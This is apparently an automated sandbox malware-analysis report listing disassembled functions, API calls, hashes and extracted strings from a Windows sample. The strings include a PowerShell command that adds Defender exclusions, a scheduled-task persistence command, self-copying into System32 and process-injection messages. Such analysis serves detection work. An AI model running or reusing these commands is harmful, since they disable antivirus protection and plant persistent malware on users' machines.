Opcode Fuzzy Hash: 2ef048004312906b102789e26a2980c8c4b0cdb7b6c31b34a19084624895d655
Instruction Fuzzy Hash: 32112732B19593A3E774C729A040A7A62A1EF46F64F544232D62D836C8EE29DC88C310

Function 00007FF6A54FFA2C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6A54F38C4: GetLastError.KERNEL32 ref: 00007FF6A54F38D3
Part of subcall function 00007FF6A54F38C4: FlsGetValue.KERNEL32 ref: 00007FF6A54F38E8
Part of subcall function 00007FF6A54F38C4: SetLastError.KERNEL32 ref: 00007FF6A54F3973

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF6A5500107,?,00000000,00000092,?,?,00000000,?,00007FF6A54F1B19), ref: 00007FF6A54FFAAA

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 3dde3cdf9fb8bdbd8165fba826077624d4fd8c25bf31b1976eaf52051ad3615f
Instruction ID: 432c89460fc1efe419a81366e53513dfd0b7f3aadafc9c792d91ef453750af68
Opcode Fuzzy Hash: 3dde3cdf9fb8bdbd8165fba826077624d4fd8c25bf31b1976eaf52051ad3615f
Instruction Fuzzy Hash: 7E01B172E0928297E7248F19E440BB976E1EF42FA4F458232D669876D9DF7C9C88C700

Function 00007FF6A54F4210 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF6A54F465F,?,?,?,?,?,?,?,?,00000000,00007FF6A54FEFAC), ref: 00007FF6A54F425F

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 07fca86cf71cc0f9e3e72088cddb075a7fce862fc20fec13c8eac6196351704b
Instruction ID: a54bd36411097a4530d5633ff1006742a9195ea46640ea80596eb37a6bc399c5
Opcode Fuzzy Hash: 07fca86cf71cc0f9e3e72088cddb075a7fce862fc20fec13c8eac6196351704b
Instruction Fuzzy Hash: 56F01976A0AA4182E604DB29F8905A923A1FB9AB80F548035EE5DD3765DE3CEC658700

Function 00007FF6A54DC884 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32 ref: 00007FF6A54DC8AA

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 80ae628b7d04fe775ba5728e1ddd22ecc467c1d84a2a1878acf2190f691b61bc
Instruction ID: ac8c4003acaf67f43b4c89bbffb2820fd3f45ad96df8e391d60dd87bfb1413c8
Opcode Fuzzy Hash: 80ae628b7d04fe775ba5728e1ddd22ecc467c1d84a2a1878acf2190f691b61bc
Instruction Fuzzy Hash: 30F05867E6E5829AF3A8DA589098B7832A0EF42B12F400536F50BC26D2CE1CED458701

Function 00007FF6A54A3BE8 Relevance: 49.3, APIs: 16, Strings: 12, Instructions: 342memoryCOMMON

Download Yara Rule

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A3C2D
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6A54A3C3C
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A3C4A
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6A54A3C59
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A3C67
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6A54A3C76

Part of subcall function 00007FF6A54A5440: InternetOpenA.WININET ref: 00007FF6A54A547D

GetProcessHeap.KERNEL32 ref: 00007FF6A54A3D08
HeapFree.KERNEL32 ref: 00007FF6A54A3D18

Strings

STUB_ID, xrefs: 00007FF6A54A3C6F
[+] The source image has a relocation table., xrefs: 00007FF6A54A4151
API_DOMAIN, xrefs: 00007FF6A54A3C52
[+] Architectures are compatible !, xrefs: 00007FF6A54A3F63
[+] Subsystems are compatible., xrefs: 00007FF6A54A40BC
[+] Source PE Image architecture : x86, xrefs: 00007FF6A54A3F40
[+] Source PE Image architecture : x64, xrefs: 00007FF6A54A3F4F
USER_ID, xrefs: 00007FF6A54A3C35
h, xrefs: 00007FF6A54A3D7B
[-] Subsystems are not compatible., xrefs: 00007FF6A54A40CB
[+] The source image doesn't have a relocation table., xrefs: 00007FF6A54A4142
[-] Architectures are not compatible !, xrefs: 00007FF6A54A3F72

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Concurrency::details::EmptyEnvironmentQueue::StructuredVariableWork$Heap$FreeInternetOpenProcess
String ID: API_DOMAIN$STUB_ID$USER_ID$[+] Architectures are compatible !$[+] Source PE Image architecture : x64$[+] Source PE Image architecture : x86$[+] Subsystems are compatible.$[+] The source image doesn't have a relocation table.$[+] The source image has a relocation table.$[-] Architectures are not compatible !$[-] Subsystems are not compatible.$h
API String ID: 1079869202-2761788501
Opcode ID: f0a28c6f6caee5bf179066c4ea5aae334b918bd6cd777b5322d76b7e630e95d1
Instruction ID: 49d5c69c8beeb9cb468ddc09fc5a66549010384ccbed5f63dd83384be8f7f5dc
Opcode Fuzzy Hash: f0a28c6f6caee5bf179066c4ea5aae334b918bd6cd777b5322d76b7e630e95d1
Instruction Fuzzy Hash: 5502BD2191E98295E6A1EB50E4553FEA364FBD6B44F800032E74DC29EEEF6CDD45CB10

Function 00007FF6A54A5890 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6A54A58B1
GetModuleFileNameW.KERNEL32 ref: 00007FF6A54A58F2

Strings

WinDrive-, xrefs: 00007FF6A54A5A17
.exe, xrefs: 00007FF6A54A5A2B
TEMP, xrefs: 00007FF6A54A5925

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Module$FileHandleName
String ID: .exe$TEMP$WinDrive-
API String ID: 4146042529-4173729995
Opcode ID: f5865e50251ff66e4b77a13309c33e6298c35229958b2e70ef48ad9d37ecc98f
Instruction ID: 7f88a1991839491ecad2c3704bb86fac2eee3ec87003ca2f9f43cc42e567171b
Opcode Fuzzy Hash: f5865e50251ff66e4b77a13309c33e6298c35229958b2e70ef48ad9d37ecc98f
Instruction Fuzzy Hash: 78C13E2251EAC185EB60DB21E4543EBA7A0FBD6B54F504132E78D83A99DF3CD948CB00

Function 00007FF6A54A5D40 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6A54A5D5D
GetModuleFileNameW.KERNEL32 ref: 00007FF6A54A5D9E

Strings

C:\Windows\System32\System-, xrefs: 00007FF6A54A5E14
.exe, xrefs: 00007FF6A54A5E28

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Module$FileHandleName
String ID: .exe$C:\Windows\System32\System-
API String ID: 4146042529-412652669
Opcode ID: fee63bd17ce6ab8909c1affe04eff74c1a45373d840b99b4310dc446d36d5fc4
Instruction ID: 19171427747f47325cbc336fe8694e537a2b42e6d96dd4bf5adb830aae074ea4
Opcode Fuzzy Hash: fee63bd17ce6ab8909c1affe04eff74c1a45373d840b99b4310dc446d36d5fc4
Instruction Fuzzy Hash: 32A1493251EAC185E760DB25E4547ABB7A0FB86B94F404136E78D83AE9DF7DD848CB00

Function 00007FF6A54A3840 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 151memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A54A9100: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A9166

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A38C5

Part of subcall function 00007FF6A54A5440: InternetOpenA.WININET ref: 00007FF6A54A547D

GetProcessHeap.KERNEL32 ref: 00007FF6A54A3928
HeapFree.KERNEL32 ref: 00007FF6A54A3938

Strings

STB/, xrefs: 00007FF6A54A3859
h, xrefs: 00007FF6A54A3966
[-] The injection has failed !, xrefs: 00007FF6A54A3A7E
R.txt, xrefs: 00007FF6A54A388B
C:\Windows\SysWOW64\explorer.exe, xrefs: 00007FF6A54A38D2

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Concurrency::details::EmptyHeapQueue::StructuredWork$FreeInternetOpenProcess
String ID: C:\Windows\SysWOW64\explorer.exe$R.txt$STB/$[-] The injection has failed !$h
API String ID: 2325589043-1079897378
Opcode ID: 9cb5b3d5eb1d18f403b42b0107509711b86451ca5b612f2a05636c401d8507d9
Instruction ID: c4f8cc6fc1fab8a82d546631bbb5dad6db73498409067027dfe2e13828f5c1ed
Opcode Fuzzy Hash: 9cb5b3d5eb1d18f403b42b0107509711b86451ca5b612f2a05636c401d8507d9
Instruction Fuzzy Hash: 57712131A1E98285E660EB51F4553FAA364FFD6B44F404132E78EC2AA9EF7CD945CB00

Function 00007FF6A54A75A0 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 155COMMON

Download Yara Rule

Strings

" /SC ONLOGON /RL HIGHEST /F, xrefs: 00007FF6A54A773B
" /TR ", xrefs: 00007FF6A54A770C
SCHTASKS /CREATE /TN ", xrefs: 00007FF6A54A76F8
System-, xrefs: 00007FF6A54A76CE
C:\Windows\System32\System-, xrefs: 00007FF6A54A7629
.exe, xrefs: 00007FF6A54A763D
h, xrefs: 00007FF6A54A77A4

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: HandleModule
String ID: " /SC ONLOGON /RL HIGHEST /F$" /TR "$.exe$C:\Windows\System32\System-$SCHTASKS /CREATE /TN "$System-$h
API String ID: 4139908857-642182117
Opcode ID: db5e7c601a60bbd6657f81db4a692b63939a3ac431415b2b08baacfff3b41def
Instruction ID: 8f3256c72cb8742790725c542bbd17122cdb7fb5c172bd4947848f315870d353
Opcode Fuzzy Hash: db5e7c601a60bbd6657f81db4a692b63939a3ac431415b2b08baacfff3b41def
Instruction Fuzzy Hash: 9B81247561DAC190EA60EB11E4553EF7761FBD5B44F804132D68D876AADF3CD908CB40

Function 00007FF6A54A6D20 Relevance: 21.1, APIs: 14, Instructions: 92networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF6A54A6D4F
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A6DB6
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A6DC8
getaddrinfo.WS2_32 ref: 00007FF6A54A6DE2
WSACleanup.WS2_32 ref: 00007FF6A54A6DFE

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$CleanupStartupgetaddrinfo
String ID:
API String ID: 2905774039-0
Opcode ID: 00b410a564e447a5e703a10041dea125bc3784f4661cb3438349098ce39b1df0
Instruction ID: 8aff8a071d53fa2ca80c8e4a8c6ad7674c86518bf5ac816b4edf45f19f15e46c
Opcode Fuzzy Hash: 00b410a564e447a5e703a10041dea125bc3784f4661cb3438349098ce39b1df0
Instruction Fuzzy Hash: 26413336929A8186EB60DF11E44426E7BA4FBCAF95F400232DA8D837A5CF3CD945CF00

Function 00007FF6A54A8200 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 75processsynchronizationCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6A54A8273
GetStdHandle.KERNEL32 ref: 00007FF6A54A8286
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A829C
CreateProcessA.KERNEL32 ref: 00007FF6A54A82E2
WaitForSingleObject.KERNEL32 ref: 00007FF6A54A8306
GetExitCodeProcess.KERNEL32 ref: 00007FF6A54A8317
CloseHandle.KERNEL32 ref: 00007FF6A54A8326
CloseHandle.KERNEL32 ref: 00007FF6A54A8331

Strings

powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'", xrefs: 00007FF6A54A8219
h, xrefs: 00007FF6A54A8251

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Handle$CloseProcess$CodeConcurrency::details::CreateEmptyExitObjectQueue::SingleStructuredWaitWork
String ID: h$powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'"
API String ID: 4115279282-4234767237
Opcode ID: 3c7e2cb46ad5d5e1d85a916f25e909d9c0e799274d56eb1300c390c160631d89
Instruction ID: 9cb569f26db5f20688035069ba3b855810495344134a95412503d3fb673a6314
Opcode Fuzzy Hash: 3c7e2cb46ad5d5e1d85a916f25e909d9c0e799274d56eb1300c390c160631d89
Instruction Fuzzy Hash: 3031463562DA8185E760DB60E8543AF7360FBC6B55F404136E68E836E9DF7CD905CB00

Function 00007FF6A54A7300 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 127networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF6A54A7338
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54A7431
InternetOpenUrlA.WININET ref: 00007FF6A54A7455
InternetCloseHandle.WININET ref: 00007FF6A54A746D

Strings

://, xrefs: 00007FF6A54A7355
URL Checker, xrefs: 00007FF6A54A7331

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Internet$Open$CloseConcurrency::details::EmptyHandleQueue::StructuredWork
String ID: ://$URL Checker
API String ID: 556659790-376189231
Opcode ID: 138a4f9c99596b6add8abca3ad47d818ff894f3662f0bfd93382009f04946c07
Instruction ID: 72324875953b4f7d3dfdf4c098d251182ecde5497ba0551fe3c924085953faf9
Opcode Fuzzy Hash: 138a4f9c99596b6add8abca3ad47d818ff894f3662f0bfd93382009f04946c07
Instruction Fuzzy Hash: 6D61462151D98285EBA0DB11E4507AFBB60EBC2B54F401132F79E879EADF7CD945CB10

Function 00007FF6A54A2770 Relevance: 18.1, APIs: 12, Instructions: 68fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF6A54A27A2
CloseHandle.KERNEL32 ref: 00007FF6A54A27BA
GetFileSize.KERNEL32 ref: 00007FF6A54A27CE
CloseHandle.KERNEL32 ref: 00007FF6A54A27E4

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: 4fc6a91cce659f982cfa41dcbe280a0f34ebc84f7802506850a2c790e99faa42
Instruction ID: fcf5944952b0cde4ff5463412d21f657b461c7f3c603927a4f83075effd7734e
Opcode Fuzzy Hash: 4fc6a91cce659f982cfa41dcbe280a0f34ebc84f7802506850a2c790e99faa42
Instruction Fuzzy Hash: 56310D3591DA4286D750DB25F85832AB770FBCABA5F500235EB9E82AE4CF7DD845CB00

Function 00007FF6A54E7F28 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 407COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E7F57
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E8027

Strings

0, xrefs: 00007FF6A54E7FF9
0, xrefs: 00007FF6A54E8063
0, xrefs: 00007FF6A54E8051

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0$0
API String ID: 3215553584-3137946472
Opcode ID: 78a9105b8d3eb675c28d1e7f2810b931d6c0b8dfaf285acd41b3411de57611db
Instruction ID: 66fe58932ceae22e9f5fd8b0f77f5f26a0fdf32f37b8e75d6defcf13a1d4ec6d
Opcode Fuzzy Hash: 78a9105b8d3eb675c28d1e7f2810b931d6c0b8dfaf285acd41b3411de57611db
Instruction Fuzzy Hash: 60E1823290BA8699FB61CF2495942FD7B95DB53F84F548032CF8887796CE3EAC599300

Function 00007FF6A54AD430 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54AD448
_Yarn.LIBCPMTD ref: 00007FF6A54AD459
_Yarn.LIBCPMTD ref: 00007FF6A54AD46A
_Yarn.LIBCPMTD ref: 00007FF6A54AD47B
_Yarn.LIBCPMTD ref: 00007FF6A54AD48C
_Yarn.LIBCPMTD ref: 00007FF6A54AD49D
_Yarn.LIBCPMTD ref: 00007FF6A54AD4AE
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6A54AD4C6

Strings

bad locale name, xrefs: 00007FF6A54AD4CE

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Yarn$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3904239083-1405518554
Opcode ID: 4dfde3383f7a4b369a959d9e2bd725c371989b896de6c47dd7e2a432758ade5a
Instruction ID: d325ba540f7f8f237aa9b51cf4b1348576ecf1d49d1a2b075a9085b7bd9af45b
Opcode Fuzzy Hash: 4dfde3383f7a4b369a959d9e2bd725c371989b896de6c47dd7e2a432758ade5a
Instruction Fuzzy Hash: EF113C61E2FA4641DD84E72AE48567E6350EF87FC4F402035FA8E8B76BDE2CD8114744

Function 00007FF6A54A8390 Relevance: 15.1, APIs: 10, Instructions: 102COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6A54A83B2
OpenProcessToken.ADVAPI32 ref: 00007FF6A54A83C5
GetTokenInformation.ADVAPI32 ref: 00007FF6A54A83F8
CloseHandle.KERNEL32 ref: 00007FF6A54A841B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 5f2c0832ab6ece885dcda59b9d817a8b030af4e96d30603e9d99abf3769486a9
Instruction ID: 551412b7019ee9f947025333a0656bceaee752b97bb52e700e7a55baf193a991
Opcode Fuzzy Hash: 5f2c0832ab6ece885dcda59b9d817a8b030af4e96d30603e9d99abf3769486a9
Instruction Fuzzy Hash: E451093261D78196E760CB25E46436FBBA0FB86B44F504135DA8D87AA9DF3CE849CF40

Function 00007FF6A54BEDB0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 00007FF6A54BEE09
std::_Maklocwcs.LIBCPMT ref: 00007FF6A54BEE25
_Yarn.LIBCPMT ref: 00007FF6A54BEE45
std::_Maklocwcs.LIBCPMT ref: 00007FF6A54BEE61
std::_Maklocwcs.LIBCPMT ref: 00007FF6A54BEE71

Strings

:AM:am:PM:pm, xrefs: 00007FF6A54BEE66
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF6A54BEE1A
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece, xrefs: 00007FF6A54BEE56

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

